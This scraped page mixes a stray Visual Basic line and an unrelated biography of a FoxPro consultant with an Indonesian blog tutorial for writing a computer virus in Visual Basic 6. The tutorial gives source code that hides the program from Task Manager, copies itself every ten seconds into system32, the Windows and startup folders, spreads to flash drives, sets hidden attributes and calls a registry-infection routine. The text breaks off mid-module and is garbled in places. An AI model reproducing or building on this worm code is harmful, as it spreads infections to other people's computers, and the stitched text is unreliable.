Buka aplikasi Visual Basic 6.0 lalu pilih Standard EXE seperti gambar di bawah ini. ForeColor seperti pada contoh di. Thanks for reading Cara Membuat Program.
CPA, is director of Client Services for LNW Consulting Services, LLC, a Business and Technology Consulting Firm based in New York City. Menachem has been a developer and consultant for 13 years. He is an internationally known expert on object-oriented analysis, design, and development and has lectured extensively on the subject. He also possesses expertise in business process analysis and redesign, which he uses regularly in the service of his clients. Menachem has spoken frequently at conferences, including the FoxPro and Visual FoxPro Developer's Conferences from 1990-1998, various regional FoxPro conferences across the U.S. And Canad a, the Foundation for Accounting Education, The N.Y.
State Society of CPAs' annual accounting and computer shows, and others. He has written for many magazines, including.
Ehm hai sobat apa kabar.? Mudah”an alhamdulilah, luar biasa, dahsyat, Allahhu Akbar yach.!! Lama gx bikin artikel kali ini topan mau bikin artikel mengenai contoh program virus komputer nich sobat.
![Free Free](http://carme.cs.trinity.edu/thicks/Tutorials/FoxPro-H-MultiUserApp/Image14.gif)
Oke deh langsung z yach coz puuuaaaaaaannnnnnnnjang bgt. Yang harus dipersiapkan.
Visual Basic 6.0 mau portable mau instaler silahkan bebas. Oh ia catatan kalau sobat membuat/mempraktekannya di Komputer sendiri maka jangan sekali” dijalankan/di running yach coz topan gx mau tanggung jawab and topan juga gx tau antivirusnya apaan. Siap” proses pembuatan, ikutin tahap-tahapnya yach. Jangan sampai keliru.
Buka Visual Basic 6.0-File-New-Standart.exe. Property Form namenya ganti jadi FVirus. Masukan object timer dan label. Untuk object timer ganti property intervalnya menjadi 1000. Nah object timer ini berfungsi untuk mendukung penggandaan file sobat, menginfeksi flashdisk juga bisa. Sekali flashdisk di tancapkan dan di open di exproler wah berabe dah. Heu serem kan.??
Nah untuk coding pertama silahkan masukan listing program berikut ini, sobat double klik di object timer. Untuk baris yang dikasih tanda “//” gx ush di tulis ntar programnya error. //Private Sub Timer1Timer Label1.Caption = Time InfeksiDriveRemovable //End Sub Keterangan: Nah procedure diatas di buat karena adanya control timer yang akan terus memantau aktifitas sobat” semua juga dengan adanya timer ini program akan terus berjalan selama Komputer ada dalam keadaan menyala, kemudian untuk penyebaran media flashdisk maka program akan memanggil fungsi InfeksiDriveRemovable yang ada pada modul (coding untuk modul di bawah), sedangkan property interval pada object timer yang nilainya 1000 berfungsi untuk penyebaran virusnya menjadi 1 virus/10 detik sobat.
Dapat dimengti dan mudah kan.? Ah mudah ko.!! Nah untuk coding kedua silahkan sobat double klik di object form kemudian tulis listing program berikut. Tapi ingat” seperti biasa baris yang dikasih tanda // jangan ikut di tulis yach. //Private Sub FormLoad App.TaskVisible = False Main //End Sub Keterangan: Nah procedure ini berfungsi untuk menyembunyikan program dari taskmanager dan dari taskbar sobat, ya maksudnya kan agar program tidak terlihat dan tidak dapat di close. Ngerti lah gampang ini. Tambahkan suatu module sobat caranya klik project-add module.
Kemudian tambahkan semua coding yang ada di bawah ke modul tersebut, inget baris yang di kasih tanda “//” gx usah ditulis oke. (ah di ingetin mulu. // Mulai // Fungsi ini digunakan untuk penggandaan file sobat, baik itu hardisk maupun flashdisk. Public Declare Function CopyFile Lib “Kernel32” (ByVal lpExistingFileName As String, ByVal lpNemFileName As String, ByVal bFailIfExists As Long) As Long // Fungsi ini digunakan untuk penggandaan virus pada folder tujuan, misal kalau sobat berada dalam suatu folder “A” selama 10 detik maka virus akan menggandakan ke folder tersebut. Public Declare Function SHGetSpecialFolderLocation Lib “Shell32.dll” (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long // Fungsi ini digunakan untuk mendapatkan daftar alamt folder yang ada pada Komputer sobat.
Public Declare Function SHGetPathFromIDList Lib “Shell32.dll” (ByVal pidl As Long, ByVal pszPath As String) As Long // Fungsi ini digunakan khusus untuk penggandaan virus ke folder system32 sobat. Public Declare Function GetSystemDirectory Lib “Kernel32.dll” (ByVal lpBuffer As String, ByVal nSize As Long) As Long // Fungsi ini digunakan untuk menginfeksi folder windows (disini nich yang paling bahaya) sobat.
Public Declare Function GetWindowDirectory Lib “Kernel32.dll” (ByVal lpBuffer As String, ByVal nSize As Long) As Long // Fungsi ini digunakan untuk mendeteksi drive yang terpasang pada Komputer, setelah suatu drive di deteksi maka akan di proses lebih lanjut sama si virus sobat. Public Declare Function GetDriveType Lib “Kernel32” (ByVal nDrive As String) As Long // Fungsi ini merupakan pengaturan atribut si virus agar keberadaanya sulit untuk diketahui sobat. Public Declare Function SetFileAttributes Lib “Kernel32” (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long // Fungsi ini dimaksudkan untuk pengaturan atribut file, juga pengecekan alamat folder sobat. Public Declare Function GetFileAttributes Lib “Kernel32″ (ByVal lpFileName As String) As Long Public Type SHITEMID Ned As Long Ju As Byte End Type Public Type ITEMIDLIST Uned As SHITEMID End Type Enum SFolder CSIDLSTARTUP = &H7 End Enum Public Const FILEATTRIBUTEREADONLY = &H1 Public Const FILEATTRIBUTEHIDDEN = &H2 // procedure ini digunakan untuk memanggil fungsi” yang udah kita buat tadi seperti penggandaan file, registri dll. Public Sub Main On Error Resume Next InfeksiFolderSystem InfeksiDriveRemovable AturAtributFile InfeksiRegistry End Sub // Fungsi ini digunakan untuk penggandaan file beserta alamat file tersebut. Public Function GetFileSumber As String On Error Resume Next GetFileSumber = App.Path & “ ” & App.EXEName & “.exe” End Function // Fungsi ini digunakan untuk keperluan untuk penggandaan file ke folder tertentu sobat. Public Function GetSpecialFolder(JenisFolder As SFolder) As String Dim Jun1 As Long, IDL As ITEMIDLIST Jun1 = SHGetSpecialFolderLocation(100, JenisFolder, IDL) If Jun1 = NOERROR Then Path$ = Space$(512) Jun1 = SHGetPathFromIDList(ByVal IDL.Uned.Ned, ByVal Path$) GetSpecialFolder = Left$(Path, InStr(Path, Chr$(0)) – 1) & “ ” Exit Function End If GetSpecialFolde = “” End Function // Fungsi ini digunakan untuk penggandaan file ke folder system32.
Public Function GetSystemPath As String On Error Resume Next Dim Buffer As String. 255, Ned1 As Long Ned1 = GetSystemDirectory(Buffer, 255) GetSystemPath = Left(Buffer, Ned1) & “ ” End Function // Fungsi ini digunakan untuk penggandaan file ke folder window. Public Function GetWindowPath As String On Error Resume Next Dim Buffer As String. 255, Ned1 As Long Ned1 = GetWindowDirectory(Buffer, 255) GetWindowPath = Left(Buffer, Ned1) & “ ” End Function // Fungsi ini digunakan untuk infeksi ke bagian” folder system, juga menginfeksi bagian folder berdasarkan drive yang terpasang.